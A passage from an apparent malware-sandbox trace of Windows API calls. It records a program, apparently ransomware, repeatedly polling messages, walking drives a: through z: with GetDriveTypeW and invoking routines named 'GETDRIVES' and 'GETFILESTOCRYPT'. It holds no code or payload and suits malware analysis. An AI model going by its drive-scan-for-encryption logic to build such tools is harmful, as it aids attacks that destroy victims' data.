lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0085.157] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0085.157] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0085.157] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0085.157] GetDriveTypeW (lpRootPathName="a:\\") returned 0x1 [0085.157] GetDriveTypeW (lpRootPathName="b:\\") returned 0x1 [0085.157] GetDriveTypeW (lpRootPathName="c:\\") returned 0x3 [0085.157] GetDriveTypeW (lpRootPathName="d:\\") returned 0x1 [0085.157] GetDriveTypeW (lpRootPathName="e:\\") returned 0x1 [0085.157] GetDriveTypeW (lpRootPathName="f:\\") returned 0x1 [0085.157] GetDriveTypeW (lpRootPathName="g:\\") returned 0x1 [0085.158] GetDriveTypeW (lpRootPathName="h:\\") returned 0x1 [0085.158] GetDriveTypeW (lpRootPathName="i:\\") returned 0x1 [0085.158] GetDriveTypeW (lpRootPathName="j:\\") returned 0x1 [0085.158] GetDriveTypeW (lpRootPathName="k:\\") returned 0x1 [0085.158] GetDriveTypeW (lpRootPathName="l:\\") returned 0x1 [0085.158] GetDriveTypeW (lpRootPathName="m:\\") returned 0x1 [0085.158] GetDriveTypeW (lpRootPathName="n:\\") returned 0x1 [0085.158] GetDriveTypeW (lpRootPathName="o:\\") returned 0x1 [0085.158] GetDriveTypeW (lpRootPathName="p:\\") returned 0x1 [0085.158] GetDriveTypeW (lpRootPathName="q:\\") returned 0x1 [0085.158] GetDriveTypeW (lpRootPathName="r:\\") returned 0x1 [0085.159] GetDriveTypeW (lpRootPathName="s:\\") returned 0x1 [0085.159] GetDriveTypeW (lpRootPathName="t:\\") returned 0x1 [0085.159] GetDriveTypeW (lpRootPathName="u:\\") returned 0x1 [0085.159] GetDriveTypeW (lpRootPathName="v:\\") returned 0x1 [0085.159] GetDriveTypeW (lpRootPathName="w:\\") returned 0x1 [0085.159] GetDriveTypeW (lpRootPathName="x:\\") returned 0x1 [0085.159] GetDriveTypeW (lpRootPathName="y:\\") returned 0x1 [0085.159] GetDriveTypeW (lpRootPathName="z:\\") returned 0x1 [0085.159] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0085.159] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0085.159] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0085.159] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0085.160] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0085.160] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0085.160] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0085.160] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0085.160] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0085.160] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0085.160] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0085.160] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0085.160] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0085.160] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0085.160] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0085.160] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0085.160] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0085.160] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0085.160] GetDriveTypeW (lpRootPathName="a:\\") returned 0x1 [0085.160] GetDriveTypeW (lpRootPathName="b:\\") returned 0x1 [0085.161] GetDriveTypeW (lpRootPathName="c:\\") returned 0x3 [0085.161] GetDriveTypeW (lpRootPathName="d:\\") returned 0x1 [0085.161] GetDriveTypeW (lpRootPathName="e:\\") returned 0x1 [0085.162] GetDriveTypeW (lpRootPathName="f:\\") returned 0x1 [0085.162] GetDriveTypeW (lpRootPathName="g:\\") returned 0x1 [0085.162] GetDriveTypeW (lpRootPathName="h:\\") returned 0x1 [0085.162] GetDriveTypeW (lpRootPathName="i:\\") returned 0x1 [0085.162] GetDriveTypeW (lpRootPathName="j:\\") returned 0x1 [0085.162] GetDriveTypeW (lpRootPathName="k:\\") returned 0x1 [0085.162] GetDriveTypeW (lpRootPathName="l:\\") returned 0x1 [0085.162] GetDriveTypeW (lpRootPathName="m:\\") returned 0x1 [0085.163] GetDriveTypeW (lpRootPathName="n:\\") returned 0x1 [0085.163] GetDriveTypeW (lpRootPathName="o:\\") returned 0x1 [0085.163] GetDriveTypeW (lpRootPathName="p:\\") returned 0x1 [0085.163] GetDriveTypeW (lpRootPathName="q:\\") returned 0x1 [0085.163] GetDriveTypeW (lpRootPathName="r:\\") returned 0x1 [0085.163] GetDriveTypeW (lpRootPathName="s:\\") returned 0x1 [0085.163] GetDriveTypeW (lpRootPathName="t:\\") returned 0x1 [0085.163] GetDriveTypeW (lpRootPathName="u:\\") returned 0x1 [0085.164] GetDriveTypeW (lpRootPathName="v:\\") returned 0x1 [0085.164] GetDriveTypeW (lpRootPathName="w:\\") returned 0x1 [0085.164] GetDriveTypeW (lpRootPathName="x:\\") returned 0x1 [0085.164] GetDriveTypeW (lpRootPathName="y:\\") returned 0x1 [0085.164] GetDriveTypeW (lpRootPathName="z:\\") returned 0x1 [0085.164] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0085.164] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0085.164] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0085.164] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0085.164] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0085.165] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0085.165] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0085.165] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0085.165] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0085.165] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0085.165] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0085.165] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0085.165] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0085.165] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0085.166] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0085.166] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0085.166] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0085.166] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0085.166] GetDriveTypeW (lpRootPathName="a:\\") returned 0x1 [0085.166] GetDriveTypeW (lpRootPathName="b:\\") returned 0x1 [0085.166] GetDriveTypeW (lpRootPathName="c:\\") returned 0x3 [0085.166] GetDriveTypeW (lpRootPathName="d:\\") returned 0x1 [0085.166] GetDriveTypeW (lpRootPathName="e:\\") returned 0x1 [0085.167] GetDriveTypeW (lpRootPathName="f:\\") returned 0x1 [0085.167] GetDriveTypeW (lpRootPathName="g:\\") returned 0x1 [0085.167] GetDriveTypeW (lpRootPathName="h:\\") returned 0x1 [0085.167] GetDriveTypeW (lpRootPathName="i:\\") returned 0x1 [0085.167] GetDriveTypeW (lpRootPathName="j:\\") returned 0x1 [0085.167] GetDriveTypeW (lpRootPathName="k:\\") returned 0x1 [0085.167] GetDriveTypeW (lpRootPathName="l:\\") returned 0x1 [0085.167] GetDriveTypeW (lpRootPathName="m:\\") returned 0x1 [0085.168] GetDriveTypeW (lpRootPathName="n:\\") returned 0x1 [0085.168] GetDriveTypeW (lpRootPathName="o:\\") returned 0x1 [0085.168] GetDriveTypeW (lpRootPathName="p:\\") returned 0x1 [0085.168] GetDriveTypeW (lpRootPathName="q:\\") returned 0x1 [0085.168] GetDriveTypeW (lpRootPathName="r:\\") returned 0x1 [0085.168] GetDriveTypeW (lpRootPathName="s:\\") returned 0x1 [0085.169] GetDriveTypeW (lpRootPathName="t:\\") returned 0x1 [0085.169] GetDriveTypeW (lpRootPathName="u:\\") returned 0x1 [0085.169] GetDriveTypeW (lpRootPathName="v:\\") returned 0x1 [0085.169] GetDriveTypeW (lpRootPathName="w:\\") returned 0x1 [0085.169] GetDriveTypeW (lpRootPathName="x:\\") returned 0x1 [0085.169] GetDriveTypeW (lpRootPathName="y:\\") returned 0x1 [0085.169] GetDriveTypeW (lpRootPathName="z:\\") returned 0x1 [0085.170] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0085.170] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0085.170] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0085.170] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0085.170] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0085.170] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0085.170] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0085.170] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0085.170] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0085.170] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0085.170] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0085.170] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0085.170] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0085.170] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0085.171] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0085.171] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0085.171] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0085.171] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0085.171] GetDriveTypeW (lpRootPathName="a:\\") returned 0x1 [0085.171] GetDriveTypeW (lpRootPathName="b:\\") returned 0x1 [0085.171] GetDriveTypeW (lpRootPathName="c:\\") returned 0x3 [0085.171] GetDriveTypeW (lpRootPathName="d:\\") returned 0x1 [0085.171] GetDriveTypeW (lpRootPathName="e:\\") returned 0x1 [0085.171] GetDriveTypeW (lpRootPathName="f:\\") returned 0x1 [0085.172] GetDriveTypeW (lpRootPathName="g:\\") returned 0x1 [0085.172] GetDriveTypeW (lpRootPathName="h:\\") returned 0x1 [0085.172] GetDriveTypeW (lpRootPathName="i:\\") returned 0x1 [0085.172] GetDriveTypeW (lpRootPathName="j:\\") returned 0x1 [0085.172] GetDriveTypeW (lpRootPathName="k:\\") returned 0x1 [0085.172] GetDriveTypeW (lpRootPathName="l:\\") returned 0x1 [0085.172] GetDriveTypeW (lpRootPathName="m:\\") returned 0x1 [0085.172] GetDriveTypeW (lpRootPathName="n:\\") returned 0x1 [0085.172] GetDriveTypeW (lpRootPathName="o:\\") returned 0x1 [0085.173] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0085.173] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0085.173] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0085.173] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0085.173] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0085.173] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0085.173] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0085.173] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0085.173] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0085.173] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0085.173] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0085.173] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0085.174] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0085.174] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0085.174] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0085.174] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0085.174] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0085.174] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0085.174] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0085.174] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0085.174] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0085.174] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0085.174] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0085.174] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0085.174] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0085.174] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0085.174] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0085.175] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0085.175] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0085.175] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0085.175] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0085.175] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0085.175] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0085.175] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0085.175] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0085.175] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0085.175] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0085.175] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0085.175] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0085.175] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0085.175] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0085.175] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0085.176] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0085.176] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0085.176] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0085.176] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0085.176] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0085.176] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0085.176] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0085.176] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0085.176] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0085.176] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0085.176] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0085.176] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0085.224] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0085.225] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0085.225] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0085.225] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0085.225] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0085.225] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0085.225] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0085.225] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0085.225] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0085.225] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0085.225] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0085.225] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0085.225] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0085.225] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0085.225] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0085.225] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0085.225] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0085.225] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0085.226] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 